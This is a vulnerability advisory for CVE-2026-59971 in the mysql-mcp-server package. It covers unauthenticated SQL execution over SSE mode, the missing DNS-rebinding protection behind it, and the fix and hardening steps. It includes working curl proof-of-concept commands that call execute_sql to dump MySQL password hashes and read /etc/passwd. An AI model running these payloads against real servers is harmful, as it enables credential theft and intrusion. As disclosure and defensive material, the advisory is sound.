critical · 10CVE-2026-59971Sep 11, 2026

CVE-2026-59971: mysql-mcp-server Unauthenticated SQL Execution via Missing Origin and Host Validation

Rohit Hatagale
AI Security Researcher, SecureLayer7

When mysql-mcp-server runs in SSE mode, any network attacker or malicious website can execute arbitrary SQL queries against the configured MySQL database with no credentials required, because the…

Packagemysql-mcp-server
Ecosystempip
Affected< 0.4.2
Fixed in0.4.2
CVE-2026-59971: mysql-mcp-server Unauthenticated SQL Execution via Missing Origin and Host Validation

The problem

In SSE/HTTP transport mode, mysql_mcp_server built its Starlette app without CORS middleware, TrustedHost middleware, or any authentication on the /sse and /messages/ routes. It also passed no security_settings to SseServerTransport, leaving the MCP SDK's DNS-rebinding protection (enable_dns_rebinding_protection) at its default of False.

The service bound to 0.0.0.0 by default. Any reachable attacker could POST a valid MCP JSON-RPC tools/call message to invoke execute_sql with a fully attacker-controlled query string passed directly to cursor.execute(query). Via DNS rebinding, a malicious web page could do the same through a victim's browser, treating the local server as same-origin after a DNS swap.

Proof of concept

A working proof-of-concept for CVE-2026-59971 in mysql-mcp-server, with the exact payload below.

bash
# Step 1: open the SSE stream (get a session endpoint)
curl -N http://TARGET:8000/sse &
# (read the returned endpoint path, e.g. /messages/?session_id=SESSION_ID)

# Step 2: send an unauthenticated MCP initialize handshake
curl -s -X POST http://TARGET:8000/messages/?session_id=SESSION_ID \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}'

# Step 3: invoke execute_sql with arbitrary SQL -- no credentials needed
curl -s -X POST http://TARGET:8000/messages/?session_id=SESSION_ID \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "query": "SELECT user, host, authentication_string FROM mysql.user"
      }
    }
  }'

# FILE privilege escalation (if MySQL account has FILE)
curl -s -X POST http://TARGET:8000/messages/?session_id=SESSION_ID \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "query": "SELECT LOAD_FILE('/etc/passwd')"
      }
    }
  }'

The root cause is the omission of security_settings=TransportSecuritySettings(enable_dns_rebinding_protection=True) when constructing SseServerTransport. Without it, the MCP SDK never validates the Host or Origin header on incoming requests, so a DNS-rebinding attack trivially bypasses browser same-origin policy by first resolving attacker.com to the attacker's server, then re-resolving to 127.0.0.1 after the page loads.

For directly exposed instances (bound to 0.0.0.0, no firewall), no browser trick is even needed. The query argument flows straight into cursor.execute(query) with no sanitization, satisfying CWE-306 (Missing Authentication for Critical Function) and CWE-346 (Origin Validation Error) simultaneously.

The patch added TransportSecuritySettings(enable_dns_rebinding_protection=True) to the SseServerTransport constructor call. This causes the SDK's TransportSecurityMiddleware to reject requests whose Host or Origin header does not match the server's own address, cutting off both the rebinding path and unsolicited direct requests from unexpected hosts.

The fix

Upgrade to mysql-mcp-server 0.4.2 (pip install --upgrade mysql-mcp-server). The release passes TransportSecuritySettings(enable_dns_rebinding_protection=True) to SseServerTransport, enabling Host and Origin header validation. Additionally, set MCP_SSE_HOST=127.0.0.1 to bind only to loopback, place a reverse proxy (nginx, Caddy) with HTTP Basic Auth in front of the SSE and messages routes, and set MCP_SSE_ALLOWED_HOSTS to the exact hostname your proxy forwards.

Reported by Huanchen, SongWu (JHU), and BrookeYangRui (JHU).

References: [1][2][3][4]

Related research